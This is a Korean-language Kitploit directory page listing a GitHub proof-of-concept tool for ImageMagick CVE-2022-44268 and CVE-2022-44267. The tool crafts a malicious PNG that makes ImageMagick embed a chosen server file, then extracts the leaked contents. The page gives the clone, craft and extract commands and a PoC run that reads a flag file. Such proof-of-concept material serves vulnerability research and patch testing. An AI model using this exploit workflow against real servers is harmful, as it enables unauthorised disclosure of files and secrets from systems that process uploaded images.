Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2022-44268 — Python으로 작성된 CVE-2022-44268용 페이로드 생성기 및 추출기 | Kitploit
도구/GitHubGitHub/agathanon/cve-2022-44268
Payload GenerationVulnerability AnalysisExploitationData ExfiltrationInformation Gathering
GitHubagathanon/cve-2022-44268

cve-2022-44268

Python으로 작성된 CVE-2022-44268용 페이로드 생성기 및 추출기

저장소 보기
413년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-44268

이 취약점을 발견한 연구자들에게 감사드립니다:

  • Bryan Gonzalez and the Ocelot Team

ImageMagick 7.1.0-40을 이용하기 위해 악성 PNG를 생성합니다:

  • CVE-2022-44267: 서비스 거부(Denial of Service)
  • CVE-2022-44268: 정보 노출(Information Disclosure)

면책 조항: 이 프로젝트의 저자는 이 프로젝트의 자료로 인해 발생할 수 있는 어떠한 피해에도 책임을 지지 않습니다.

요구 사항

  • Python3
  • PIL (pip install Pillow)

사용법

craft.py를 사용하여 PNG 제작:

root@kitploit:~
git clone https://github.com/agathanon/cve-2022-44268
cd cve-2022-44268
python3 craft.py original.png lol.png /path/to/file

extract.py를 사용하여 데이터 추출:

root@kitploit:~
python3 extract.py exfil.png

PoC

root@kitploit:~
anon@computer:~/code/cve-2022-44268$ python3 craft.py original.png readflag.png $PWD/flag.txt 
anon@computer:~/code/cve-2022-44268$ convert readflag.png -resize 100x100 exfil.png
anon@computer:~/code/cve-2022-44268$ python3 extract.py exfil.png
AAAABBBBCCCC

anon@computer:~/code/cve-2022-44268$
도구 다운로드